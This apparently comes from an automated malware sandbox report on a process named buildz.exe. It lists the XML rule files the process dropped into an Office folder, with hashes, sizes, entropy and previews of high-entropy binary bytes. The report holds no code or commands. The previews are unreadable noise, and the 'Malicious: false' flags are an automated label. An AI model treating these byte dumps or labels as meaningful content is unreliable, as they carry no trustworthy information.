Preview:	<?xml..........\|....&...v.}..Q..7[...<x.G.B_.Az{].m.....Q......f.l......`...1....,.u.l:...l/...s.Qp_.)...z\|.n..xc.I...yUY..t..........n:...}.~..C-Cf...O1..v._..Z).....HY...O.v..n.....wp.....<.<.\|.k..y..S>.jk.<..Q...}.7..2....Y.....K...=.}]',45.lU..5...A.PT..+.+[5...y....QH0S.$@n!.^...t.-..6.:n......m).w>.LL..Ud."aO.......jr..J...'..9w...Yhk5......\|o..oS.BX.E7W.9........4....Ot....}M~R6.J.C..\|..H.h.4........e....6...U.n....^..,..o...9.......,FYW.k..mKu...!.K.mCNO.K.`.e..HY.o.!.e.3..q../}...R.Dg...+5....Hz.L..y9.y....gO...D.E..$.6..QB)...c.u..+h.uj.6..Y~..]..OY....X..]....k....`9..<.G..........\|Rv....sI.[.....)[Z..WHT.}.....G1^.tB.cH.....n.!...N.%.V..A..\|........u..h&..q...)W...N......@.V..w..IHD.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270005v4.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.85413792447901
Encrypted:	false
SSDEEP:	24:9QwtHKhi2GG0CTWB43gag5vNgl3ac3IzMNU6LJXE+zbpMc2xB/OY/HAE8zbD:9QiKhiUSS3L0NFc3IzMPL5NXpMcRY/Vo
MD5:	5366D0A423CBE2701564182033C900A6
SHA1:	7789D764209B8202FE023260EA33A16F2D48B023
SHA-256:	15FB82EDA10CB279A39F4473889CCF9F5EA531488B6C00FF6FF0C3844602E32B
SHA-512:	D83F72F1F981DBEEEAA1AA3EE9F0D8C4DB71C49C9F06C4178BA98A608F689A301FB6C2F87230C8095B451583AEEC8CCB84A60E646589C6673164E5D16B41C799
Malicious:	false
Reputation:	unknown
Preview:	<?xmlYX\|...j..c...1....@....t.....BM.%..5.ZJ.....'"...=.o...e..,.V.{u.P..q.U.....u..c;.)..=..d..1...a..L...q..'..ZG..SrS...p3....c=....AH.._....2Mv.O.Zg..e..\...i/..^..y..-Dn.1.>(..w..3..0...o..(...m.0...7nh.o.....(.Z..;~.....;_k....w...r+...Am\|.yz.z!.'.......L.-.f.kQ....EIg..0.w...J5...=.8.@c......+.MWl....T+.;.....b\|..%J.,.E .-.N.8...T.OQ.y....F,q0.......H...I..!Sk..N<..#,...kr..bJ.:.e..J.',.j.^..L..&!60,5..m.zA..C.M....v.V0...............8s.u..0...W.o/`.m.M....M.........n.+',=lQW.m.f.....o.go.E7^-.{:.P....OY...E......r"..E.W0....MF.N......W._.>.I...D5^T......O.5q......!........._%......z...pd..s.r..6.l.F~.....5W.E@...g#.a.........}.....R....0o..?.'q.i.+jD.....0.F..#.,yPT..=y.;...`..=.z..@!..7..Y.%....{......".6.........K.kB..\|.T4z.:.q..D...B.{P....Y.K.!...a.q....."::..."./....N..N...M.^4.f.h/p.2....F{NeR..n.Snsn#.<\.........o......f0&.`e...\..........[.o.kR...BG.....e.S.x...~.!2...[..E58....=.xQ.Z(..e.r~m..q....P.l.wN.!..'1.`.k.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270006v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.905250982317671
Encrypted:	false
SSDEEP:	48:7dTlCuXjFQ7DYRkQc+VMhsjhseLB1P/Rx+YQo3yVbCD:7dcuiDYPEEV/jtQo3c2
MD5:	04633C3812C5C468AEAEBF0B1F557589
SHA1:	9F594E175634701A93DD5065912D194EC2982456
SHA-256:	1DEDAE0F12B340819B0D7E58E63D36C0D2C4A940EFD0671833F5C2D5296DA41A
SHA-512:	589B9BA107FAC3CC1A76C0182ABB01EEEDC89153ECE370F3AD9620E606DE2F0F915AF167BA765A228255708A189BF298A84F5B455B4588139551481FFADFEA37
Malicious:	false
Reputation:	unknown
Preview:	<?xmltZf+...]S.y..W...(T..j...%6v...Czk....................6..f.QF...5m{.'..HK....I.b.Ds.R.W.z.x...8zk]i.B,..JU...Z...Lk.k.s...%\|..vN.z.....9mRn..4..o....jqzm.{..1.....a...).....!..x..:....O#.....k.R.0.a"...#D..s.U...._s=gT..'Y....l..-.`;.A. ....D(...W...x..I............[.i.4;hh....b..S.....e7...(h{K..9.....)kc.y.....V.3..^..VA\|.h.....,.G.:.6........wC6]b...11..^iS.....$S.c...Q;.....E.@6a....Ht.4..g(!..}.T d..,O..,....}X.....\|o.......'.J-.4... ...x..>i+.....W^0.F..8..z..+..K..K...H....f.....C..=...f.....z...+~..0P.sCX..2~\| ...Lq.f.>uI7me@}.../...t...........'...+..J`o..CZw.F..;....M..I...En.....2u<.}.`.}..z.........-EN..,.....Arm.+.....=..f..M....[C....L..f..Tu......'............T....G.....;O6s..}..a\%....}I...?]m...5.....[.Z6.\.w...Pt.....8.W......_.......c..(.m.:..Qh...H..i.V..../Z:........L.........~.A<y.7R.2.!....M.J....}3.C.)..P..u..?Lk....#..K.V;....E.S......)w.W?....z9.z..kj..e...j.~H....i..0...,&.<.I%~X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270007v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.687260007318354
Encrypted:	false
SSDEEP:	12:66wTQeo/OtD7NBds7E5OLDDHjaXeFQDUAKGuSp/LUMzTgrsgB1+cii9a:5wCs7NIw5o/DauFFeuSp06bD
MD5:	B0B1C3B4480B46EAB270797F8899DD5C
SHA1:	EE6A4F67E10187D6DB2240F134C49930671D3326
SHA-256:	EB9A2177DB72E3DBDC537FA0197C630D460DEDC107EE7673C7D7CE7CD5E953B5
SHA-512:	B4A64FD26F68ED211215F3C2A1ECC9A449F29D03B1BB67A896B77A9CCE94A608FCA8E267B6E642B0391C7E783506D0E6AE82495AE969504BF9D8DFA154E10084
Malicious:	false
Reputation:	unknown
Preview:	<?xml:..F..P..3/(../.R.../.\c.g.gR_>.T......v..&.......v`..n..#.k.C..6..x2....pM......P...)......Hm.2.m..Jk..z.B....>>n..1u...=.F...\|.7X.#.w..v#.@E.2..p._...u.~Z.$..O..(u.Y......l.....f.a.X......].%........(P..7..8.I..TB....8oy..waG..dSAnNW..7..ZZ.M)..h..o............O.@...8.:...<q=...J&.M(..c....n.D.....W}.4.....4.:&.:9..]n....)..B..A.U.E#.....{J.V...j.......h8#.-..v..+h8/..J>..W.#..\|as...]A...l.W?.`..2..Ln.^...\|...x..,...x..-.z..wY...$....a_.../..gIcs{..."r.Dx.ySkU/.F-:..3.~.#..U...m>...A.lc.....F.._.<B...l1.g...aW.d3.e...J...\...&.O>&...Km.,%",.....5..2...;D.]....Y..;.z.E.z....(....n..*........hR;.4gQw....$H..... L.....1${C$SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270009v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.74522159003877
Encrypted:	false
SSDEEP:	24:5VeY6YUs1mPQ7P9WCvu9iE4bVVNvVcUDFYHUPl5RHbD:5VEtWmU9WHUJVV3PDFbP3JD
MD5:	7D8C1AD414E6EF2EF7D22D52D5D9AFA1
SHA1:	EEA742324B498465A6712FA517305A253505F12C
SHA-256:	44B44CE0F4DD50CE815DAFFD8172BD4046C1BF84302A4F0E4C60E233B9E916D8
SHA-512:	8D509BE678BC4ECE9B7A9839EAE0C5600ED3EE11410AB4581543AA4982C5C4AF857EEF70F67284782E1B99F9DDB279806E078C2DE8A5BFF551694B759AB34E25
Malicious:	false
Reputation:	unknown
Preview:	<?xml?..{@....7.....F1T.X....J.+....G..P...a.D{.]..\|.S......$..v...C..q/m.7.2.G.....t..is~..Mr..M.w..L..6..9....G..V2.._Ai.q.y.....d..uS..TVP.-..&.!q..^t...$2.P1..\|Z....4.I`...,t........,....)sGF..d..i.F@.azP...#..uc...../.A...=.......Bq.lUU....Ct. .n........_t`B....H....u...x......6.....O.^..0.I.%A.2;....p.W.\_...^.........O..@......l.j>5"\...].f.......>..+YfN..L..X..~.S@&u....~...=..._.{...]raE...l.5.T,hb.....Gr..i..K6..0W...L.}>1.8YB...}.@.S4>1.I...gz..s.?.....^i...p..L.n.O.@Ic._1B.I......@.W5.c.e...~&.....b....P..1..u....2.....I..dPh"C.P<...0....G...#.&.]\.7..o.4..[.U}....PR.I)...^6.~..n...d..e~.v.p....4.)..5....3Y....;.X.r.i....7?^N..\.C63...p..5h..:..07b.O.iW2.......35Lwy.W.p.~...........!...0...w.z.\.a...:..C.B.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270010v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	7.848705936456493
Encrypted:	false
SSDEEP:	24:HSvMgKBufDUzuyuPkHCNiixea/rKwO0Y30bQqkK0w1iGluPN46CuTPLXqdzbD:HSDKBuD5kia0YEbQ5CiGAl4MLqD
MD5:	B91ECF145F70BE1150AA4558D8DF7500
SHA1:	AEFC92CABF6B529F0113C29AD76DEDA729698E69
SHA-256:	E182BE354900878E8484A78C958B93D76525192730A91C1127DD223DFC3DF29D
SHA-512:	0BED4E837314940E1325800696057E826C682862139876B08AD97A4979D42CBD8F8168CC80F414863D5B70EF1887458AD2DCF96324CA9F3B45C9959D82D77B5F
Malicious:	false
Reputation:	unknown
Preview:	<?xmll..D..._.-..........z.Iu...#".T..7q?`..2Y7.K4v5.;...."Fx...W.Qk&.^..3. .;......H.E..}..rt.....Ln.qZk..c.{.W..,.p.X.<..Q%3..$..z...q.._H.....40....-6...F&...S.I.-..J.Fh..(..6o.l8..47J.H..3.E...4n..W...{.........,..:....`.?..\....:.k?....6..J5.OY.o...t..B.n.......@.a........x...=.u.....Hqs.&lH.l;...V...\|...6...B(B...y:..=.g..1.3,8..>.VG.......hB.J. YY,....kq.B.......v.y+.x.zrZ.Ai6.....:i.......2.....rc..e..'8I!J..m.1...{B..w\....nk=_ju...{..b.2^.GT1...>.b....#<#wX.M:..I....g..j..}../.)......f... ..f...\...I..Uoz..j@....w...,....?K.=...A.DI...A..!?.\|.q.X..?...+.l.T29}...G.Ve@3]i..f.N6....)...b0....p}d2?.M=..R.6hn.~Bs..:"...W.E...;....._M..qu..d..cr8..I..3&.~9..];..y..+.e9.Fwcl..bA.....K.....[.`(.<92.....Z.?.L..."r.4.2c.:.X...Q......`%..b..^..p.....a..d..])...Y......*s=..-...>.......G.K'=......c..J..=.Mb.NS..]w..6.<...;v.. .F.......H...&&.l..vw..m......X7.....%.Z..-.......v.4....q...I0;....y{!...a......H.EzBJd...x..........YQB"?......yXh.M..q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270011v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.73156024874374
Encrypted:	false
SSDEEP:	12:Hcm41/MksMM91/rf+Z+HwuPLWAAMwgj/FZrT+yOkActyMWY9/ImOZ9fiL0MlhrZa:h41G51/6ZOwuHxZr49w/ImXNlhWbD
MD5:	3125B1C914F7E5C30444F71FE0FF3B2F
SHA1:	685FCFAFC6FD7F48FF8EF8FE2D16E196879A4871
SHA-256:	589B14BA4E2C2DD7F957BA68CB11F01721D811DB5BD5268D83305DC86B201E71
SHA-512:	FC92321F7116C6761D2BC9D0C9CD2827262BD61AE65069AF46939BA08738D3E00E7276E3E80B468A5E3344438FA1F8678AA48C260104EE382EE959ECBC25AAF0
Malicious:	false
Reputation:	unknown
Preview:	<?xml...Z....:K....~...x.\|O...7V..h.b.I.]:.;0UN....b....Z$..%..R`..`....we.u.q.doa.}N.(....a..9O.a.G.....R.w6_.GU\|.O.K..@..%......e..T....,..i.".-.fzS...p.-5..G..A..A.....9......H.x.....N..9.....7G...C.Y'.$. ....NSn...6...fm..w.. e^s0...t.F...t....0.T.. ...7...1C.D.2..F.cH..e.k./\|Y..6....~.3.....-...l.<e..:.....V..vd.R.@i..*D.Q...Q]WC.-...M].pIR...V....`Su.Y.p.sv......k..F.9[..h............T.<nK8W+..p.[........V...zc..G...X.\.....=..'v}D.v.i...d.i..;~1..E.#.1..#G?..4Ol...g.)9...O.#$......\|..bq......Ox.Ce...m.9.E....u\|@..$.W...!@....p<irx1...1.wa.}...Q...aR..{q~.......A...".....g.q.ar.o....b.%K...\|p....M........o.]....oV..F...jO5SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270012v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.734430131284538
Encrypted:	false
SSDEEP:	12:A92Vo5pPyxH6hH8RSJ3Rma9tcK1GvaTiyavRn179qrjCJ1aLpiJT661gP/OV1+cq:A9jpPyxahHK4B/BbaVx9qXCJ1wYJ26i/
MD5:	1967A2A36A178CB9AF5096BE6671C705
SHA1:	6BF423A0C71F083F2944D25AFE9F8038633DDFAD
SHA-256:	8870027FB3EF6150A9A0741B1E6FAD127B46E36E32CC26712DCEF00309A689A6
SHA-512:	5C5BCA7C0B09552D7F5C7CEDA10C65AAF87D0220FE063235A12A881DE77A99DB7C40D770253DB0158A4347342DAD539A715C58653BFCB3F09C2E2CE95A8CB00D
Malicious:	false
Reputation:	unknown
Preview:	<?xml...J9..3V3f...I.;..j....".rx....d....2o.;.....Hl..=[H......:..J>.$...a.1....M.......m.MJ.....Ut;.A........t:.w.h7u......jZ.......Y....'...Y.. .}.Qlb1[..2........S.H..i..H.7]...Q.Y.....?.=7fPF.&.^..O.=.U$......*...3..C..?...7o....FC....)....G8..w'..q.Y.....Z)W..^.N.%...8..y..........\|@........O..-G.....#.........$..9..E.I...\|..o.m.Q..8b=.._9.H9..q_..rA.........}....(....`.."..@.......E.c....6....s!.b.lU.df...^.B^.&.H...y..Y-x....ZwP..s.J.y......A.Q..1%.H..{.y...S..../.[..z.0........}v.......[...w]..IR3yX.@et..w)s.?1...7.!5.....AT..Sg......\.b.k..K..L..r..\....j......:1IJ_/........N.C...%.#P:.Jx..-.. .5]}.".=...a..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270013v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.68234520307731
Encrypted:	false
SSDEEP:	12:+9ygUW3N/QsJaapWTp54eRWY1TQn4hfQTgMl4JgZvmfpZ24E80dPnXP3E1+cii9a:s3FsaupfRnkgM75mhZy/XP3fbD
MD5:	7674B97910A7568A7CF126546D3C76B2
SHA1:	A13FA9B6963D2303EC9842F2A90A8F53071BA66B
SHA-256:	F20DACF830C62258A2B5A23C647EF4C9F1FF50F2DA4E559E6CD5809FED2EE427
SHA-512:	2785AE15C54EA0A2D1A5E2E838C2E0A32FB6073EC62DA5F6D708EB663FB6F58E3F80E3702182D648395E9EC52F961D4F5C8D9DE67BCAA481878CBD6D51A3758E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.n.1..4.S....fW5...Z....."5..\|y.S5.op.i.-.6........j.6.....).UyCp!..\..EG=....$.oyS ..%.LW.z...U...."C..W...ln........d....k\|...bT....kD.)CLe.#.9..\|x.....g....OM.v...1.)..P.$..R#p...s..6.x...$...k.... ...9.k...Mm!\|...[R.G&..v.R..$..`.2....IfS.EL.!.@...S....Vf....{-..R.b.....;:.4...c.7.U..;rg&i...&.>m..S..Q...V.F.rN..X....n.g]..0.u.3y...vgjwV. e....TLt..i.M..".8......r 3b..3..............$.......,..P/..,.T.z..F..W..&..qJ..u..zf...A..S.K......ft9.k....Oi\|.......}...&U.M.....1\........C..@D..b7..*"W...l._).U.]m...2......K6.....b.9.5.......T.......C%...9f..P.1.:Y.l,Mv....r.....j...\......T.......i.wH..K..^c.bK....j.~DA..+.t6.."m._C....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270014v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.716230425670653
Encrypted:	false
SSDEEP:	12:dQW03reZKI1UJsNI7gdbcFNM0yd+kYOjxz2KP572JnI41Nk3utvXvJiz1+cii9a:Wa51MsNI7g5c73fOdT572JI4u3YdbD
MD5:	D2B4DB222168CFF37B2DF80CCCD05196
SHA1:	6781802EFF78F431454C7A9A8BFC45A0AD0F281F
SHA-256:	4EA301BB1DFDEAE3E3B47F334BCFF422C9BAA0E29B3CA778287E93A27FAA6875
SHA-512:	E230F2E6C36C3DE4892F28C94426AC493BB18F4748A69B3BC061E4FF72D44A882BE569AF5C45075623A339600B8A0F4CEFA531B70E96D163DEDF8B803C729E75
Malicious:	false
Reputation:	unknown
Preview:	<?xml.}{...%.b.....'.Y@\....o.Z.....>...\|.....~....<.w..l.6.i....z.n...V.......c[..FY...n......&..if...a....6O.B=D..C.....hh....0._......e..r...x...~../AG...v..'. ...D.:.en./eP/..........E.4g ].p_.6?f.l......d..]]D..+.7.>".9....(?..h..QJ;.s.J.o..1....T.b....m{...0..........CM.....M.v.>...Z.7.x...d.....}....F.....3.=R...p..1#P#.,.~.85]b{.&'..tr./dB.K.>7%=^v.jkRe.{.Hl..J...=.< Q+.0.3i.4N2rv..X.....=..d....)...[@<L...#..RE.N.......2.4.......x.g.#..$.!Fhgq......6....C.c..X.vN.C..Gt...\|.60(2.dA...FX.h.2.e.IJ...,kv...0..U\`...ZY..}^&...z..H.;.{)......CB...'`.}.,&:.6A....v..Dj....r72....nN>A!...5ixLn.k. .t*...-..(...oMC...~.Z...?.....0Q.8.....D..w.i..TSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270015v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.813665266891881
Encrypted:	false
SSDEEP:	24:vrrZum0BbkRu2uaWWieYOYK7L91mLxVXf9SorbD:v3Zum0BbkRP7ik3wXVSoPD
MD5:	ECDC4B4028487379D87D3FCC4894CC0F
SHA1:	5DA4407B011DA461141A630F173379AD601760AB
SHA-256:	8F2B717424160B21764263EC6112491F7AED669A30F74476E6ABC98CE62266B5
SHA-512:	01EB505AE021B81619373BC6310D11B255B22C80B05973835E530496EACD5B34CF7A4360F1438B7100554B87011E7848C57DAFEA62DAF5D55BFFF33DCE8058AE
Malicious:	false
Reputation:	unknown
Preview:	<?xmlA....!t.Q..(K..I..H..8..\|g.FzX..^Z.D".>G.`..'{.P.G.....Z.....ta<j.oR.(~....{...D.%.n....'.:......T^.....l.......}=s .b......=..xt6..5............y0.Lz~t....O.!C.N.6d.n.../].y....?j..c..U..Z.].9..f.o.^.....'Q.d..!..I.......P1......Z7O.%.1....g..fw..A6\. .?....4=2.:.....2.FF.......4.7..dr}<=w....!.OO..S..1..,..Vi].e.k......Hj.._.....~+.......K. ,.r.....G...K...[.U..&..@..8._pT!.P1....=.f.2....i.K.#.C...`.5...G.~F.D,..c\...,..D.....c..!...+...0 ..Y..r.~....M.......J.4.......^.._.^.C.w.,"$.f..._.r..yT.>F.S..v...'.'[...~....g2*.........=R.d.........2$36.SW.N..<..4.n..."+....).:..O.<.... .z7.1.H...Q.R...z.....`.x.h/l.Siq....t.u...].=!.P.5.W.JO...xeB.0.Aoa9.S....qj.9xt6...Y0r.......;N.....C..X....}w..6.d..&.K.GG......M....^...U...\...P`h.0..e....6.a.MM..y...i.w...5..l.....NW...O.L.}9.D......4\.LLs...X...)^....dSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270016v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	837
Entropy (8bit):	7.749513678860633
Encrypted:	false
SSDEEP:	12:/K+rUbAj2456auR4mDz5Q9bhNAFpm2nPnhMf9Pw486QuQKPgQx+4zkn1+cii9a:C/Aq45LHmv4hNAFM2nP+PX77bD
MD5:	6E85787D3EA846FB0ADFB3CFBE397463
SHA1:	A4F72132E5891D236A5E771D2B61CAA4DA9BE3BF
SHA-256:	964F1CBE78055A3A32F5D93179EA87A12CD8A30CA3E8C0E8B033C7D8221446DF
SHA-512:	17186100E083D64EB2C663F041166D8EDAAAAACF542AD6D5E87B557AC6BB4CE8A3F080E068E7C5C1EC84A076982FB103C83EA2D2D91921F10A80245FC1099366
Malicious:	false
Reputation:	unknown
Preview:	<?xml...&.O..v>[0....M]...0Qd<....b~...C.q..\|.0vR...8sw...K.4G.....Z#.~(..hqt'.U........x.X..OHoZ.B.........\..Q...%.}.b.[.V..-.=.u..=e.......q>.P.......].........cc-a8M.....3k.q..CD..#..t)..%...=.w..qA#p.v.H.D....^aO&V8...m..C9.C...8.e.....m.......9t.v.......!.Zdv$..[..D.F..2+.bm..&+.......~UY.T....?.....KeO..4dT.....yf...sRSk..e,..........Z..\...\|..7.h....+"R.^].y..!..tW.hc..hH1.Fr.u..}K...M\|].Y...1..\f......Ia..3..%.j....x.........J.7..;.....fd[ ...R...L....n.t....V\.bY.J<<....N...p.$K..0.U... ..C.....Q...........N..x..s_*.tf.W........eh.]o.6i..X.8%.R#......[:..K.!g].W.s._.z:..../..._6Eu.V)a..a<......\|.m..(hBhlT.Nx..CV?6I.m...\|.....E....b.U.1..m...B..5..+.L..>@!...k.Q.a........w,.xy..[T.....N.I..plH'..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270017v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.754527390348593
Encrypted:	false
SSDEEP:	24:xY1RoLgjMKWQhElfFw3b+bebxRdAeY8bD:wRjMGEhFa6b+xRxYWD
MD5:	2C8CB88D333FD5CD3A60407FF434FAFE
SHA1:	3E83ECFF41FB53F1F4BA6B45F8785C507286A731
SHA-256:	F76E112BD15931602A7F383070E440A43A10184C6206A92F3A6B18C645B507A4
SHA-512:	7DF6E63BED6F3F5E74AD80EEC1133D2AC0082FD40E37EFAB0AED15A985E7762AFFA87CC2628476066F79EB35BDA6889109E27A382973E80D65FBB3D54C991BED
Malicious:	false
Reputation:	unknown
Preview:	<?xml,.?0..,.....?...'6%./..W\...i......<...0.=n!o8.P\....rf..>..F.[...Y.2..JbqX..a.qj.A....c..oY.6.w.,.e.`L.8.n.W.yY.!&.l.WG.' ...O......m.>.W.ta..u.Qm....;I.=;...0.....'.0.D...P.......O.;D..`.FB<P...'.........F.X...x....Hu,...M....-..o.e6..h..\|..J..2F.Y...A..R...>..e..X,Z....J...f<.2.2z.[.........&.\..9....M7...Q....cW..'.....1.<.0.....[..(vH......a.-....x..$R..k.....M.;......./!ddy.....D.g./......$.q........\(.&".3.xtp...>Kr.....d.~u..#..-.}....;...-.@*n.....C;...k...M..\|Y.-...(\|Q.)..q._.<...B.=...?.P...S...?..II+./..A......_,...2....<.X.B.\.o#.....Id..U'..g.....j(2"..........4V._DF.b...o.gR.).z..dK...\.C......S(.W..~....S.+Z.z...H..S>.....z..9"}UbT<.k;..0...QA..k...U.h....-.>jde.....l(.i......Eo.5..:....r;...Q.^.NHQ..xgSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270018v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.737197965122544
Encrypted:	false
SSDEEP:	24:YC8H4K9oNdjUFz0LYDvbQXm+2dcjaLlQnMhSZbD:ZrK9MUuLqvbcm+bgxhSZD
MD5:	49D1AD522FF2FE9461F0D7DD63411CEF
SHA1:	04C232B63D0399FD0E165894E523FEC8A528A352
SHA-256:	4940C3320B3F4F548CBBF7AC3D85EACEA3DBB84894D0E177A20A559CA10E7AA5
SHA-512:	0F1C9920D327652046135E7C078E1B61B3E2CB07D9AB6F230B68FA2DF6D3A813CAC3976D8C86AAD01B3FB986E9C9833C3BD8E9381CEB8A48438246972211A6BF
Malicious:	false
Reputation:	unknown
Preview:	<?xml......4`.5.!i8.L*A......`o.O..$W\|ix......o4..]..Z.n.4..........b.......H=.b&.X.l7...'..l"..l.}...wd.#%.P.,..I..c..k.k.0...k${y....K.E?H.8.O.6..K...<..... .A}..Z....S>5..U...7..n.~.F....By/...l....{b.. ...BL....xB.9...]5Nb..:7.(...a...y.x...\.JIQ...F..z.A........O..9.y.GN.....g+./.[Z.4..s.(.5..........M..32....&.UE..^...NG4I.....:x2VJM...lU.d_3S}....^._ '.C...\.....8...D...N...LzZH..rh.'.;F.n5..`e$s.5.V%..M......u.b.....7..,...k.PC.G..c6....i..&M.f.Jz).......u.H.?].\|..%h.j.o.._<\|.~..x^BSi.7n...[.1.:p....Y..._r.K........z....+?`\|.J.:Jk..<yB...>..Z.N....g&.......&W...v..r=...d...`..E..%P......7.UH&.=.[k..w..6A.....+.3D..'V..... .}S..3......(.S..(.+.!.#..2.....]'.;...3>.......Xl../...mo.c]sK$...Vj]..8r...p..o.........."o.FS....1 ..D..2....:..1....o\|X{l.8J.{>...^..V..p...V...... .6@+)62.T..XpJ..q..x.q.%:h..^s..0!.]\.@..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270019v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	7.817130631250909
Encrypted:	false
SSDEEP:	24:ywMWWhRAdk51Pq3GkEsCyo1z6VAMdxBDACKtNpWNQ8ZiybD:Oim0G/F56VAELKtNY6m5D
MD5:	386B367E2309F0143F2E328E8B0D5C69
SHA1:	4B9CA10B7A67C4DDD62CD8126FF3E9FFAC4F5991
SHA-256:	C0A55A31A6E76BC23263AE9B6A6957D30BBCFF91506C2B45D4C3C4D1DE225C9D
SHA-512:	3A6084D39269A695B5E12B002961685CB0EA4432DBC6D3B18260291947E252BF9A5827BDC0460465D1624515536EC02524C92CB5396C4BEB2D090C87364C4321
Malicious:	false
Reputation:	unknown
Preview:	<?xml.OtL........,.@;Z8lW..N..j..}=fO...f.....'p..n.?.O..cb.....@...[..o.+....~.....x..^..rY.5Zf..l.J.~.m.6elDMt_N{YMX.....?....G..a.-.G..W....^..[.....x.C..`v%.8...#....\|...w....p.F.Cp~.EeO....e...!c.u..i.Y@W.H_Jk...`c..'. ...oep..{..R.N......7...[...Y.O..+G^$..S......Y.G./..D.V(.T?..E.5.w...Vm..$w.q.%y=.l%+l......l.c1..g.7Y...gv.d.Jl[.G.41.......>..5z$(.XnU....h...7..o.+.+..............A.\|.Q.^c`..}gq.../Ki.dW.5.....pD.v_.n.."....w..e"..K..J..'\.^..CM./4..1.&....u9K..p...p.+.zI...L....kP.....97...s..$A.P.5....e...]...,$l.....y..J...]..W..I.-....og....=o~W..1..LsW/N.'....w....=.r...0.9?]5..~H.Q...b..8..OEz......b..V@..S},.S......\....P.X....Rg.X ..:.=Qn:.......mE.]p%^.c:..A..QZ#.E..^\Bg..Em.....z..4..$A.'.:..d.(......f<~0.q>64KO..6Pmd>N.os...1......Mb..U...'..{.G.T%.c.Q.gcI..>..s<..1.DI.QE....H.v...9j.....B{...(.._...w.Y...CS....EdW..~...7.)".xI.\|H. mUA..:Q.....`.A.......h.D.4b./....*..5..._ 0..?.5....S..s.q+.........D..i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule310000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	7.899930463319098
Encrypted:	false
SSDEEP:	48:7dwyrqHRPV7OuEh9/sbEPx0aeBKjorfpA72lRD:7dr+OuS+YqagKjoz
MD5:	132842361E22BA1E113B8692DE8EC7FD
SHA1:	C55E8BE9DC388250B9AD6087CCED498F43CB01B8
